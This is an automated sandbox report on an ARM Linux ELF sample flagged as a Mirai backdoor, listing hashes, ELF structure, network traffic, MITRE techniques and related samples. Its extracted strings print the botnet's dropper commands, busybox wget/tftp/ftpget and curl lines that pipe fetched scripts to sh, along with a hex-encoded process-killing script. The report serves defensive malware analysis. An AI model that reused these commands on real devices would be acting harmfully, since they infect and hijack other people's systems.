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Linux Analysis Report
nabarm6.elf

Overview

General Information

Sample name:	nabarm6.elf
Analysis ID:	1634474
MD5:	ca7dfb739bcaab0bba5338c4b57b6ad9
SHA1:	ec35f9523d7bfcc8c7228899bb88766b66f2317b
SHA256:	1510d70f91ac70aae0651eccbc435e19b0ba58b7a6b199775eccd9ca6aaba761
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	48
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1634474
Start date and time:	2025-03-11 00:15:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabarm6.elf
Detection:	MAL
Classification:	mal48.linELF@0/0@2/0

Runtime Messages

Command:	/tmp/nabarm6.elf
PID:	5488
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

nabarm6.elf (PID: 5488, Parent: 5412, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/nabarm6.elf

cleanup

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: global traffic

TCP traffic: 192.168.2.14:46540 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: nabarm6.elf	String found in binary or memory: http:///curl.sh
Source: nabarm6.elf	String found in binary or memory: http:///wget.sh

Source: unknown

Network traffic detected: HTTP traffic on port 46540 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname day2
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper telnet
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal48.linELF@0/0@2/0

Source: /tmp/nabarm6.elf (PID: 5488)

Queries kernel information via 'uname':

Jump to behavior

Source: nabarm6.elf, 5488.1.00007ffd21f0d000.00007ffd21f2e000.rw-.sdmp	Binary or memory string: =x86_64/usr/bin/qemu-arm/tmp/nabarm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabarm6.elf
Source: nabarm6.elf, 5488.1.00005615ad156000.00005615ad284000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: nabarm6.elf, 5488.1.00007ffd21f0d000.00007ffd21f2e000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: nabarm6.elf, 5488.1.00005615ad156000.00005615ad284000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/arm
Source: nabarm6.elf, 5488.1.00007ffd21f0d000.00007ffd21f2e000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
nabarm6.elf	32%	Virustotal		Browse
nabarm6.elf	39%	ReversingLabs	Linux.Backdoor.Mirai

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabarm6.elf	false		high
http:///curl.sh	nabarm6.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.125.190.26	unknown	United Kingdom		41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.125.190.26	debug.dbg.elf	Get hash	malicious	Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	zerspc.elf	Get hash	malicious	Unknown	Browse
	6j272sSkTN.elf	Get hash	malicious	Fog	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	aarch64.elf	Get hash	malicious	Mirai	Browse
	x-8.6-.opticus.elf	Get hash	malicious	Gafgyt	Browse
	sshd.elf	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	bin.sh.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	debug.dbg.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	boatnet.spc.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	.i.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	sshd.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	162.213.35.24
	arm5.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	arm6.elf	Get hash	malicious	Mirai, Moobot	Browse	162.213.35.24
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	162.213.35.24
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	162.213.35.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	install_python3.sh.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	sshd.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.972505359680694
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabarm6.elf
File size:	54'520 bytes
MD5:	ca7dfb739bcaab0bba5338c4b57b6ad9
SHA1:	ec35f9523d7bfcc8c7228899bb88766b66f2317b
SHA256:	1510d70f91ac70aae0651eccbc435e19b0ba58b7a6b199775eccd9ca6aaba761
SHA512:	db3eca4dabe4cfdc64b4c4c3cb6d461a66da779e6035d66fef3f79297677ec048293829b1681d8531800ef58af7099a684c379f42e48b2ee39916c9d58b5439f
SSDEEP:	1536:KRnTss3kqCt4aAvqFxaYaXSa8B3WMdiDPNadExzXbBR:3s39Ct4tvq7aYWdPNadExzX
TLSH:	5233D746F992DF11D5C5957AFE0E528D331307A8E3DF73539E10AB247B8B86B0A3A805
File Content Preview:	.ELF..............(.....T...4...........4. ...(.....................\|...\|...........................x...............Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../.x.............-.@0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8154
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	54000
Section Header Size:	40
Number of Section Headers:	13
Header String Table Index:	12

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x10	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xbb9c	0x0	0x6	AX	16
.fini	PROGBITS	0x13c4c	0xbc4c	0x10	0x0	0x6	AX	4
.rodata	PROGBITS	0x13c5c	0xbc5c	0xf20	0x0	0x2	A	4
.init_array	INIT_ARRAY	0x1d004	0xd008	0x4	0x0	0x3	WA	4
.fini_array	FINI_ARRAY	0x1d008	0xd00c	0x4	0x0	0x3	WA	4
.jcr	PROGBITS	0x1d00c	0xd010	0x4	0x0	0x3	WA	4
.got	PROGBITS	0x1d010	0xd014	0x74	0x4	0x3	WA	4
.data	PROGBITS	0x1d084	0xd088	0x1f4	0x0	0x3	WA	4
.bss	NOBITS	0x1d278	0xd27c	0x3558	0x0	0x3	WA	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0xd27c	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0xd28c	0x62	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xcb7c	0xcb7c	6.0873	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xd004	0x1d004	0x1d000	0x278	0xb7cc	3.2078	0x6	RW	0x8000	.init_array .fini_array .jcr .got .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 4
• 443 (HTTPS)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 11, 2025 00:16:48.778456926 CET	46540	443	192.168.2.14	185.125.190.26
Mar 11, 2025 00:17:19.497452974 CET	46540	443	192.168.2.14	185.125.190.26

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 11, 2025 00:16:39.301882982 CET	55993	53	192.168.2.14	1.1.1.1
Mar 11, 2025 00:16:39.301970005 CET	35509	53	192.168.2.14	1.1.1.1
Mar 11, 2025 00:16:39.309175968 CET	53	35509	1.1.1.1	192.168.2.14
Mar 11, 2025 00:16:39.309195042 CET	53	55993	1.1.1.1	192.168.2.14

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 11, 2025 00:16:39.301882982 CET	192.168.2.14	1.1.1.1	0x33a4	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:16:39.301970005 CET	192.168.2.14	1.1.1.1	0xb069	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 11, 2025 00:16:39.309195042 CET	1.1.1.1	192.168.2.14	0x33a4	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:16:39.309195042 CET	1.1.1.1	192.168.2.14	0x33a4	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: nabarm6.elf PID: 5488, Parent PID: 5412

General

Start time (UTC):	23:16:37
Start date (UTC):	10/03/2025
Path:	/tmp/nabarm6.elf
Arguments:	/tmp/nabarm6.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Source: nabarm6.elf	Virustotal: Detection: 31%			Perma Link
Source: nabarm6.elf	ReversingLabs: Detection: 39%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Linux Analysis Report nabarm6.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: nabarm6.elf PID: 5488, Parent PID: 5412

General

File Activities

File Opened

File Read

Process Activities

Signal Sent

Thread Sleep

System Activities

Query System Information (uname)

Chronological Activities

Linux Analysis Report
nabarm6.elf